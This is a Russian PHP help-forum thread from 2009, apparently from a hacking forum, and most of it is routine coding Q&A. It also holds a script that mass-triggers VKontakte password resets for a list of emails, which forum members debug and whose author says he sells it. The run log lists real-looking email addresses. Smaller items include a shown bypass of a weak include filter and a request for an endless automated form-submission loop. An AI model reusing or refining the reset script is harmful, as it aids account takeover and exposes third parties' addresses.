if(@fsockopen("site.ru", "80", $errno, $errstr, 1)){
echo "online";
}else{
echo "offline";
}
?>
Но если в нем указываю допустим polzav.homeftp.net и 8080 то пишет постоянно оффлайн, хотя сайт доступен
Что не так?)
Pashkela
17.12.2009, 16:10
<?php
if(@fsockopen("polzav.homeftp.net", "8080", $errno, $errstr, 10)){
echo "online";
}else{
echo "offline";
}
?>
у меня пишет онлайн, но если у тебя интернет не очень, попробуй таймаут побольше сделать, не все же сайты моментально всегда открываются, одной секунды просто может маловато
PS: Просто на 80-м порту твой polzav.homeftp.net недоступен
Solide Snake
17.12.2009, 16:20
Pashkela
А ты на хостинге или на компьютере проверял? А то может от провайдера зависит...
А то ставлю и 10 и больше, всё равно оффлайн..
Pashkela
17.12.2009, 16:24
1-ый на Win XP дома, на девере, ща не хосте затестю...
Потестил на VDS - тоже пашет. Скорее всего твой хостер режет, особенности какие-нибудь, очень стандартная ситуация и код
Что пишут переменные $errno & $errstr?
Pashkela
17.12.2009, 16:50
Ну тут, если чисто имхо, ответ такой:
- хост скорее всего бесплатный или виртуальный
- IP-адреса 90% прокси и соксов работают именно на 8080 порту
- предоставляются услуги хостинга, а не микродеда, никому не понравиться, что с его IP будут заниматься брутом
Вывод - исходящие соединения на внешние адреса с портом 8080 запрещены фаером/другим способом
Помогите сделать небольшую функцию которая будет:
выдавать 3 числа при умоножении которых друг на друга получится число 32
Числа надо выдавать рандомые и в рандомной позиции
возможно отправлять POST запросы в форму через php ... но чтоб при отправке в поле: name="test" писал случайные цыфры например, или символы? без повторений :) а еще чтоб кнопочку нажимал "submit" :) с цыклом, тоесть бесконечно)
вот форма, если можно напишите пример, как :)
Форма:
<form name="form1" action="form1.php" method="post">
<input class="button" type="text" name="test" size="16" maxlength="16"/>
<input type="submit" name="submit" value="submit"/>
</form>
mailbrush
17.12.2009, 17:21
Юзай curl, если надо отправлять запросы, HTML'ом и JS'ом не обойдешься...
Помогите сделать небольшую функцию которая будет:
выдавать 3 числа при умоножении которых друг на друга получится число 32
Числа надо выдавать рандомые и в рандомной позиции
4,4,2. Три числа,с помощью которых можно получить число 32.Я бы взял их за основу,и пробывал куртить с ними.А еще можно в цикле создавать рандоные числа,и с помощью %, искать нужные сисла,пока не будет безостаточного деления.Ну вообщем - тут фантазировать нужно.
4,4,2. Три числа,с помощью которых можно получить число 32.Я бы взял их за основу,и пробывал куртить с ними.А еще можно в цикле создавать рандоные числа,и с помощью %, искать нужные сисла,пока не будет безостаточного деления.Ну вообщем - тут фантазировать нужно.
спасиб, вот какраз фантазии не хватает
Architek86
17.12.2009, 18:26
Никто не в курсе, при проверки условия вида
if ( is_file($file) AND filesize($file)>0 )
PHP будет проверять второе условие (т.е. filesize($file)>0), если первое (is_file($file)) возвращает false ?
Хотя думаю, скорее всего нет))
Deathdreams
17.12.2009, 18:28
Architek86
Не должен, сразу вернёт False.
Чтобы проверял, нужно сделать так:
is_file($file) || filesize($file)>0
или
is_file($file) OR filesize($file)>0
mailbrush
17.12.2009, 18:48
спасиб, вот какраз фантазии не хватает
А ты подумай :)
<?php
while (true)
{
$n = array(rand(0, 32), rand(0, 32), rand(0, 32));
if ($n[0] * $n[1] * $n[2] == 32)
{
echo $n[0] . ' * ' . $n[1] . ' * ' . $n[2] . ' = 32';
break;
}
}
?>
Byrger Так вроде побыстрее будет.function factorize($n)
{
$from = array(1,2,4,8,16,32);
$result = array();
for ($i = 0; $i < 2; $i++)
{
$result[] = $from[mt_rand(0,array_search($n, $from))];
$n /= $result[$i];
}
$result[]=$n;
return $result;
}
echo implode(' * ',factorize(64)).' = 32';
Architek86
17.12.2009, 19:24
те, кто работал с ZipArchive class PHP (http://www.php.net/manual/en/class.ziparchive.php) , вопрос:
есть ли метод/способ определить общий размер файлов в архиве, не распаковывая его?
или придётся читать заголовки архива и искать там размеры файлов?
Byrger, мой вариант:
<?php
$del[32]= array(32, 16, 8, 4, 2, 1);
$del[16]= array(16, 8, 4, 2, 1);
$del[8]= array(8, 4, 2, 1);
$del[4]= array(4, 2, 1);
$del[2]= array(2, 1);
$del[1]= array(1);
function random($array)
{
$n = $array[rand (0, count($array)-1)];
return $n;
}
$n1 = random($del[32]);
$n2 = random($del[32/$n1]);
$n3 = 32/($n1*$n2);
echo $n1.' * '.$n2.' * '.$n3.' = 32';
?>
Используется несколько массивов, поэтому памяти побольше будет юзать чем ксрипт от mailbrush, но в моём варианте не тратится время на поиск нужной комбинации, так что возможно быстрее будет работать.. Хотя ХЗ-ХЗ...)
Architek86
17.12.2009, 19:48
но в моём варианте не тратится время на поиск нужной комбинации, так что возможно быстрее будет работать.. Хотя ХЗ-ХЗ...)
Это типа поиск? это скорее лотерея, где если повезёт, то комбинация даст 32 ))) (я про скрипт mailbrush)
hooligan4ik
18.12.2009, 14:49
Уважаемые мастера!
У меня есть движок мониторинга серверов кс 1.6!
Задача стоит вот в чем:
1)Какимто образом вывести самую популярную карту!
2)Сделать графики посещаемости серверов как на http://www.ukrgame.net/index.php?act=cod4graph
Уважаемые мастера!
У меня есть движок мониторинга серверов кс 1.6!
Задача стоит вот в чем:
1)Какимто образом вывести самую популярную карту!
2)Сделать графики посещаемости серверов как на http://www.ukrgame.net/index.php?act=cod4graph
1) Записывать в БД при мониторинге карту, и если такая карта есть в БД,то rep=rep+1; И таким образом,ввыводим состистику,сортируя по rep
2) По сути - тоже самое,но с использованием ГД,или класса строения графиков.
Как установить модуль curl в linux'e?
Как установить модуль curl в linux'e?
apt-get install php5-curl
или так
emerge php5-curl
function IsValidLogin($login){
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}
Функция чекает логин и должна принемать кирилицу чего она не делает :(
Как поправить (все скрипты в utf8)
но только средстрами PHP
function IsValidLogin($login){
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}
Функция чекает логин и должна принемать кирилицу чего она не делает :(
Как поправить (все скрипты в utf8)
но только средстрами PHP
если я правильно понял то попробуй так
function IsValidLogin($login){
$login=iconv('UTF-8', 'windows-1251', $login);
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}
1. http://ua2.php.net/manual/en/function.iconv.php
2. Перепиши с eregi на preg_match
Посоветуйте класс, библиотеку для работы с почтой, pop-imap, smtp. Максимально универсальную. Что-то порылся на phpclasses но пока глухо. Писать с нуля не хочется.
Есть готовые решения? Спасибо
Deathdreams
18.12.2009, 21:23
Chode
Тут не эекстрасенсы сидят, напиши какой должен быть функционал, потом глянь в Полезных скриптах, может там чё есть.
Vlad&slav
18.12.2009, 21:53
есть текстовик :
...............................
21
432=>
343
4354235
42<=3=>
234
6542=>36
5423
<=654235435
346432
<=4352435423
5
Нужно чтобы скрипт если находил в строках <= и => то изменял отступ последуюших строк, тоесть должно получиться:
......................
21
432=>
343
4354235
42<=3=>
234
6542=>36
5423
<=654235435
346432
<=4352435423
5
А что делать со строкой "42<=3=>", где оба символа присутствуют?
Vlad&slav
18.12.2009, 22:07
А что делать со строкой "42<=3=>", где оба символа присутствуют?
выдвинуть из текста на один отступ ближе а дальше текст пустить как перед такой строкой
//
1213
35
4<=354=>6
5465
654
6
hooligan4ik
18.12.2009, 22:15
echo"<script type='text/javascript' src='".JS."jquery.js'></script>\n"; echo"<script type='text/javascript' src='".JS."cookies.js'></script>\n"; echo"<script type='text/javascript' src='".JS."jquery.cookies.js'></script>\n"; echo "<title>".$settings['sitename']."</title>\n"; ?> <? echo"</head>\n"; require_once INCLUDES."navigation.php"; echo"<center><table border='0' align='center' cellpadding='0' cellspacing='0' class='stat sortable' >"; if(!$serv_num==0){ echo"</tbody></table>"; echo"<link rel='stylesheet' href='http://www.mon1toring.ru/templates/two-tiers.css' type='text/css'></link>\n"; echo"<link rel='stylesheet' href='http://www.mon1toring.ru/templates/default.css' type='text/css'></link>\n"; echo "<hr class='none_hr' /><table border='0' align='center' cellpadding='0' cellspacing='0' class='another_table' width='100%'><th width='4%'><center><DIV align=center> <IMG height=11 src='images/pw1.gif' width=9 border=0 ;></DIV></center></th><th width='28%'><left>".$locale['010']."</left></th><th width='10%'><center>".$locale['011']."</center></th><th width='20%'><center>".$locale['012']."</center></th><th width='18%'><center>".$locale['013']."</center></th><th width='8%'><center>".$locale['014']."</center></th><th width='6%'><center>".$locale['015']."</center></th><th width='6%'><center>".$locale['016']."</center></th></tr>"; $i=0; while($r=dbarray_fetch($servers)) { $players = $r['server_players']."/".$r['server_maxplayers'] ; if($r['server_players'] == $r['server_maxplayers']) { $players = "<font color='#00FF00'>".$r['server_players']."/".$r['server_maxplayers']."</font>";} if($r['server_players'] == 0) { $players = "<font color='red'>".$r['server_players']."/".$r['server_maxplayers']."</font>";} $i++; $img = "<img src='images/maps/default.jpg' width='40' height='30'>"; if (file_exists("images/maps/$r[server_map].jpg")) {$img = "<img src='".BASEDIR."images/maps/$r[server_map].jpg' width='40' height='30' alt='$r[server_map]'>";} if($r['server_vip']==1){ echo"<tr class='' onmouseout=this.className='' onmouseover=this.className='hl' height='30' style='background: #570016; text-align:left;'><td>$i</td>";} else {echo"<tr class='' onmouseout=this.className='' onmouseover=this.className='hl'><td>$i</td>";} echo"<td align='left'><a href='".$settings['siteurl']."server-$r[server_id]' id='link'>$r[server_name]</a></td>"; echo"<td align='center'><a href='steam://connect/$r[server_ip]'>$r[server_ip]</a></td>"; echo"<td align='center'><a href='./images/maps/$r[server_map].jpg'>".$img."<br>$r[server_map]</a></td>"; echo"<td align='center'>".$players."</td>"; echo"<td align='center'>$r[server_protokol]</td>"; echo"<td align='center'><img src='images/flags/$r[server_location].png' height='12' width='16' alt='$r[server_location]' title='$r[server_location]''></td>"; echo"<td align='center'>"; if($r['server_vip']==1){ echo $locale['018']; } else{ echo "<span class='votes_count' id='votes_count$r[server_id]' >".$r['votes']."</span>"; echo "<span class='vote_buttons' id='vote_buttons$r[server_id]'>"; echo " <a href='javascript:;' class='vote' id='$r[server_id]'></a>"; echo "</span>"; } echo "</td></tr></tr>"; } } else {echo "<th><center> ".$locale['017']."</center></th>"; } echo"</tbody></table></center>"; if($serv_num !=0) { $ip = getenv('REMOTE_ADDR'); $ip = $_SERVER['REMOTE_ADDR']; echo "<div align='center'>Ваш IP адрес: ";echo $ip; echo"</tbody></table></center><div align='center'><a href ='all_servers'>".$locale['022']."</a></div>";} echo"<hr class='clear'>";
вот скрипт вывода инфы о серверах!CS
ребят нада замутить вывод популярной карты
Если возможно описать по подробнее!
Много где обращался везде баян!Последняя надежда на вас!)
Заранее спасибо!
Безопасен ли инклуд?
function cl_include($action){
$action = (string)($action);
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $action);
return $filter_data;
}
$action=htmlspecialchars((string)$_GET[action]);
if((file_exists("modules/$action.php"))&&(is_file("modules/$action.php"))){
$action=cl_include($action);
include("modules/$action.php");
}
Помогите составить POST multipart/form-data запрос через curl
POST http://site.ru/add.php HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.2.15 Version/10.01
Host: site.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://site.ru/rent/add.html
Cookie: uid=AAAAACcbJEvUO3WmAWhUBQ==; pscode=OXYfz9gLUP2Ln8vjiIUdoJUXZiVpc581; isauth=1
Cookie2: $Version=1
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 2237
X-Opera-Info: ID=869, p=0, f=7, sw=1024, sh=768
X-Opera-ID: e91b0c8c521ea347c317914aa6fb71c48a9653b74459580683 b9e82620e0704d
X-Opera-Host: t09-02:12431
X-OA: 2740 15d569fbf510645c5b829f9b084a0510389d1de51650653f09 3436ca8c4d5fa1
X-OB: peregrine
Content-Type: multipart/form-data; boundary=----------t9JEJDbwWY3An0Q9pvzHgH
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="action"
add
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="rubric"
2
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="object"
6
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="region"
3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="series"
6
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="build_type"
3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="status"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="decoration"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="address"
пр.Ленина 93
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_build"
36
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="floor"
3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="floors"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="phone"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="furnit"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_site"
34
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_site_unit"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="contacts"
zloy@mail.ru
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="price"
0
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="price_unit"
1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img1"; filename=""
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img2"; filename=""
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img3"; filename=""
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="description"
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="period"
1
------------t9JEJDbwWY3An0Q9pvzHgH--
Chode
Тут не эекстрасенсы сидят, напиши какой должен быть функционал, потом глянь в Полезных скриптах, может там чё есть.
Про экстрасенсов я вижу.
Объясню: я написал "для работы c pop-imap, smtp" - под этим подразумевал прием и передача почты. Словосочетание "максимально универсальную" означало наибольшую совместимость с различными стандартами протоколов - стандарты RFC для IMAP, POP3, SMTP. Таким образом искомая библиотека, класс, расширение PEAR или еще что нибудь должно обладать готовыми средствами для автоматического определения стандартов используемых для, хотя бы, простейшего приема, передачи почты.
Сейчас лучше ? :)
Player#1
19.12.2009, 00:35
Помогите составить POST multipart/form-data запрос через curl
Вот, вроде так...
Заголовки не все, но по аналогии, думаю доделаешь.
$upload="";
$postdata = array("action" => "add", "rubric" => "2", "rubric" => "2", "object" => "6", "region" => "3", "img1" => "@".$upload);
$httpheaders = array("Host: site.ru", "Cookie2: $Version=1");
$url="http://site.ru/add.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, "uid=AAAAACcbJEvUO3WmAWhUBQ==; pscode=OXYfz9gLUP2Ln8vjiIUdoJUXZiVpc581; isauth=1");
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheaders);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.2.15 Version/10.01")
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
curl_close($ch);
Безопасен ли инклуд?
function cl_include($action){
$action = (string)($action);
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $action);
return $filter_data;
}
$action=htmlspecialchars((string)$_GET[action]);
if((file_exists("modules/$action.php"))&&(is_file("modules/$action.php"))){
$action=cl_include($action);
include("modules/$action.php");
}
<?php
$filter_data = 'hthttptp';
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $filter_data);
echo $filter_data;
?>
выведет:
http
Вот и вся твоя защита, указывай явно что можно инлудить а что нет.
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>
Хелп :)
Player#1
19.12.2009, 14:57
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)
Хелп :)
О_О знакомый код :D
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
Этот скрипт уже не работает, надо подправить немного...
Кстати, я продавал рабочую версию, но потом на mail.ru перестали вовремя приходить письма, поэтому скрипт был не актуален.
Сейчас ситуация изменилась, поэтому скоро обновлю скрипт и он вновь поступит в продажу.
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>
Хелп :)
Если я не ошибюсь,то 100 - колво байтов,которые нам слебует получить = 100 символов.Так он и будет брат ь100 символов,эксплодить по ; и первое вождение подставлять в виде емаила.М?
Тут нужно:
$file = file('account.txt');
$count = count($file);
while($i < $count)
{
list($login,$password) = explode(';',$file[$i]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
}
$i++;
}
Примерно так,писал на "коленке".
m0Hze, так тоже:
(c)Player#1 for antichat.ru
Ошибка!
gyndosi@bk.ruОшибка!
andre-fomin@mail.ruОшибка!
nick63_samara@mail.ruОшибка!
kate-9292@bk.ruОшибка!
buka1987@mail.ruОшибка!
xamid-0078@mail.ruОшибка!
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что
int(10) resource(31) of type (curl_multi)
Warning: (null)(): 32 is not a valid cURL handle resource in Unknown on line 0
в чем дело даже вообще не понятно, подскажите люди, ибо дебагу этот код не поддается. может кто то сталкивался с такой проблемой в курле.
а если вар дамп убрать то просто кидает в браузер заголовок
Status=OK - 200
то есть больше вообще никаких хидеров не посылает в браузер, 1 строка и всё
for($i=0;$i<count($sites);$i+=$this->threads){
$curly = array();
$result = array();
$mh = curl_multi_init();
for($m=$i;$m<=($i+$this->threads)-1;$m++){
//prepare thread
if($transok){
$curly[$m] = curl_init($trans);
}else{
$curly[$m] = curl_init($sites[$m]['url']);
}
curl_setopt($curly[$m], CURLOPT_POST, 1);
curl_setopt($curly[$m], CURLOPT_POSTFIELDS, $sites[$m]['post']);
curl_setopt($curly[$m], CURLOPT_TIMEOUT, 60);
curl_setopt($curly[$m], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle($mh, $curly[$m]);
var_dump($this->threads, $mh);die();
}
// execute the handles
$running = null;
do {
curl_multi_exec($mh, $running);
usleep(100000);
} while($running > 0);
// get content and remove handles
foreach($curly as $id => $c) {
$result[$id] = curl_multi_getcontent($c);
if(is_numeric(trim($result[$id]!==false))){
$result[$id] = intval($result[$id]);
$r = mysql_query("UPDATE incsites SET status='".intval($result[$id])."', lastmodif=now() WHERE userid='".$_SESSION['user']['id']."' and id='".$sites[$id]['id']."'");
}
curl_multi_remove_handle($mh, $c);
}
curl_multi_close($mh);
}
Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'
curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
Deathdreams
19.12.2009, 21:45
SQLHACK
Мб курл мульти не установлен?
Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'
curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
mailbrush
19.12.2009, 22:06
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что
Код сам по себе не мог перестать работать. Что-то изменилось... Сделай позавчерашний бекап, если таковой имелся.
ну бекап чего делать , код не изменился. База точно не причем.
Единственное что мог обновится directadmin по крону. Но где искать косяк?
Я сам мультикур нераскуривал, но работаю с классом Мультикурл, если хочеш стукни мне в асю я тебе перепишу скрипт, опишеш весь функционал, или же даш полный скрипт я поковыряю. А так не совсем ясно что у тебя там, к тому же в скрипте уже используется класс:
var_dump($this->threads, $mh);die();
и угадать что за класс и что должно быть в $this->threads никак =)
:confused: :confused: :confused: :confused: :confused: :confused:
$_SESSION['username'] = $user_row['username']; // или какие поля ты хочешь, сессия
$_SESSION['password'] = $user_row['password'];
//echo $user_row['username'].' '.$user_row['password'];
setcookie("username", $user_row["username"],time()+3600); // куки
setcookie("password", $user_row["password"],time()+3600);
echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"];
помогите, не могу куки установить , уже день бьюсь как рыба об лёд :(
:confused: :confused: :confused: :confused: :confused: :confused:
TDKronuS
20.12.2009, 03:14
А как ты видишь, что куки не установлены? по echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"]; - этой строчке?
как бы массив $_COOKIE формируется в момент загрузки страницы. И данных username, password там нет. Попробуй явно их указать после setcookie(). $_COOKIE['username'] = $user_row["username"];
Спс, разобрался, в начало документа скрипт закинул и всё заработало.
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'
:confused:
Nightmarе
20.12.2009, 18:21
У кого нибудь есть функции\классы алгоритмов RSA или AES для шифровки\дешифровки с открытым ключём?
Нигде не могу найти.
Главное чтобы функции работали сами по себе и не требовали стороннего софта на сервере
У кого нибудь есть функции\классы алгоритмов RSA или AES для шифровки\дешифровки с открытым ключём?
Нигде не могу найти.
Главное чтобы функции работали сами по себе и не требовали стороннего софта на сервере
наврятли такое есть.
/*add
http://www.phpclasses.org/search.html?words=AES&x=0&y=0&go_search=1
*/
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'
:confused:
Вот бы по русски услышать задачу :)
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'
:confused:
<?php
if(isset($_POST['checkbox']))
echo "'" . implode("','", $_POST['checkbox']) . "'";
?>
<form method="POST">
<input type="checkbox" name="checkbox[]" value="1" />
<input type="checkbox" name="checkbox[]" value="2" />
<input type="checkbox" name="checkbox[]" value="3" />
<input type="submit">
</form>
[Raz0r], большое спасибо! То, что нужно!
Как сделать авторизацию на php на файлах?
Нашёл довольно подходящий скрипт :
<?php
#Файл-база пользователей, права доступа 766
$basemember = "data/base_avatar.dat";
#папка, где лежат картинки, права доступа 777 или 733
$papka_images = 'images';
#максимальный размер файла в байтах
$MAX_SIZE = '100000';
#ширина картинки
$fr_width = '120';
#высота картинки
$fr_height = '120';
// это функция уменьшает картинку
function small_image($path,$w_new,$h_new){
$file = @getimagesize ($path);
$w = $file[0]; $h = $file[1];
if($file[2]=='2'){ $old = @imageCreateFromJpeg($path); }
if($file[2]=='3'){ $old = @imageCreateFromPng($path); }
$new = @imageCreate($w_new, $h_new);
@imageCopyResized($new, $old, 0, 0, 0, 0, $w_new, $h_new, $w, $h);
if($file[2]=='2'){ @imageJpeg($new, $path); }
if($file[2]=='3'){ @imagePng($new, $path); }
@imageDestroy($old);
@imageDestroy($new);
return true;
}
// эта функция добавляет картинку
function add_images($arr){
global $MAX_SIZE,$basemember,$papka_images,$fr_width,$fr_ height,$c_name,$c_ppass;
$ffile = $papka_images."/".$arr['file_name']['name'];
if(@file_exists($ffile)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$ffile."</b> уже существует...<br>\n";}
$bibl_ext = @dirname($_SERVER['SCRIPT_FILENAME']).'/extensions/php_gd.dll';
if(!extension_loaded('gd') and is_file($bibl_ext)){ dl("extensions/php_gd.dll");}
if(!extension_loaded('gd')){ return print "Нет файла библиотеки ".$bibl_ext;}
if($arr[file_name][name]!=''){
if(preg_match("~[^a-zA-Z0-9_\.-]~",$arr['file_name']['name'])){return print "\n<br><font class='forums'><b>Error:</b></font> недопустимые символы или пробелы в имени: <b>".$arr['file_name']['name']."</b><br>\n"; }
$type_file = $arr[file_name][type];
if(!preg_match("/jpeg|png/i",$type_file)){ return print "\n<br><font class='forums'><b>Error:</b></font> формат <b></b> недопустим...<br>\n";}
$general = @file($base_images);
for ($i = count($general)-1; $i >= 0; $i--) {
list($name_f,$size_f,$data_f)=explode("::", $general[$i]);
if($arr['file_name']['name']==$name_f){return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$name_f."</b> уже существует...<br>\n"; }
}
$tmp = str_replace("\\","/",getcwd())."/".$papka_images;
if(@is_writeable($tmp)){
$fname = $tmp.'/'.$arr['file_name']['name'];
if(move_uploaded_file($arr['file_name']['tmp_name'],$fname)){
$type_file = $arr['file_name']['type'];
$name_file = $arr['file_name']['name'];
$size_file = $arr['file_name']['size'];
}
}
else{return print "\n<br><font class='forums'><b>Error:</b></font> на папку <b>".$tmp."</b> нет доступа на запись...<br>\n"; }
}
else{return print "\n<br><font class='forums'><b>Error:</b></font> <b>введите</b> имя файла в форму...<br>\n"; }
if(strlen($name_file)=='0'){return print "\n<br><font class='forums'><b>Error:</b></font> <b>размер</b> файла превышает допустимый ".$MAX_SIZE." байт <br>\n"; }
if(!file_exists($fname)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$fname."</b> не найден...<br>\n";}
small_image($fname,$fr_width,$fr_height);
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i < $lines; $i++){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t){
if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);}
@fwrite ($fp,"$name_t::$ppass_t::$name_file::\n");
}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
return print "<b>\n<br><font class='forums'>Файл:</font> ".$name_file." </b>(".$size_file." байт) успешно загружен<br>\n";
}
// эта функция печатает форму
function print_form(){
global $session_form,$MAX_SIZE,$c_name,$c_ppass,$fr_width ,$fr_height,$dont_registr;
$MAX_SIZE_KB = ceil($MAX_SIZE/1000);
